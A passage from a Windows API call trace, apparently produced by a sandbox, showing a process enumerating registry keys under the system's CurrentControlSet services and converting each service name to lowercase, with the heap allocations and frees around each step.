lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.274] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0256.274] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.274] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.274] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.275] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.275] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.275] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.275] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.275] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.276] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.276] RegCloseKey (hKey=0x148) returned 0x0 [0256.276] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.276] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.276] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.276] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0256.276] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.277] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.277] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.277] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0256.277] RegCloseKey (hKey=0x154) returned 0x0 [0256.277] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0256.277] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.277] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f19b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1cd0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f19b8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.278] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0256.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1cd0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.279] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f19b8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.279] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.279] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0256.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0256.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.280] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0256.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0256.280] 